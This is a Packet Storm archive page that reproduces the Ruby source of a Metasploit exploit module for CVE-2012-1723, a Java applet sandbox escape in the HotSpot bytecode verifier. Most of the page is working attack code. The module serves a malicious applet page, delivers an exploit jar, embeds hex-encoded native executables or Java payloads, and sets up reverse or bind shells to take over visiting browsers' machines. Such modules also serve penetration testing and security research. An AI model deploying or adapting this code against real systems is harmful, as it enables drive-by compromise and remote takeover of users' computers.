exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Java Applet Field Bytecode Verifier Cache Remote Code Execution

Java Applet Field Bytecode Verifier Cache Remote Code Execution
Posted Jul 10, 2012
Authored by Stefan Cornelius, sinn3r, juan vazquez, littlelightlittlefire, mihi | Site metasploit.com

This Metasploit module exploits a vulnerability in HotSpot bytecode verifier where an invalid optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checks. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations.

tags | exploit
advisories | CVE-2012-1723, OSVDB-82877
SHA-256 | d0f87e2217146b16aef1f52fdc1199e419212c967c36b2332599cb9bbc44e022

Java Applet Field Bytecode Verifier Cache Remote Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })

def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent
type checks. This allows a way to escape the JRE sandbox, and load additional classes
in order to perform malicious operations.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stefan Cornellius', # Discoverer
'mihi', # Vuln analysis
'littlelightlittlefire', # metasploit module
'juan vazquez', # merged code (overlapped)
'sinn3r' # merged code (overlapped)
],
'References' =>
[
['CVE', '2012-1723'],
['OSVDB', '82877'],
['BID', '52161'],
['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],
['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],
['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],
['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']
],
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 06 2012'
))
end


def exploit
# load the static jar file
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1723.jar" )
fd = File.open( path, "rb" )
@jar_data = fd.read(fd.stat.size)
fd.close

super
end


def on_request_uri( cli, request )
data = ""
host = ""
port = ""

if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
end

print_status("Sending #{self.name}")

payload = regenerate_payload( cli )
if not payload
print_error("Failed to generate the payload." )
return
end

if target.name == 'Generic (Java Payload)'
if datastore['LHOST']
jar = payload.encoded
host = datastore['LHOST']
port = datastore['LPORT']
vprint_status("Sending java reverse shell")
else
port = datastore['LPORT']
datastore['RHOST'] = cli.peerhost
vprint_status( "Java bind shell" )
end
if jar
print_status( "Generated jar to drop (#{jar.length} bytes)." )
jar = Rex::Text.to_hex( jar, prefix="" )
else
print_error("Failed to generate the executable." )
return
end
else

# NOTE: The EXE mixin automagically handles detection of arch/platform
data = generate_payload_exe

if data
print_status("Generated executable to drop (#{data.length} bytes)." )
data = Rex::Text.to_hex( data, prefix="" )
else
print_error("Failed to generate the executable." )
return
end

end

send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
return
end

print_status("Sending jar")
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )

handler( cli )
end

def generate_html( data, jar, host, port )
jar_name = rand_text_alpha(rand(6)+3) + ".jar"

html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"
html += "<param name=\"data\" value=\"#{data}\"/>" if data
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
html += "</applet></body></html>"
return html
end

def generate_jar()
@jar_data
end

end

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close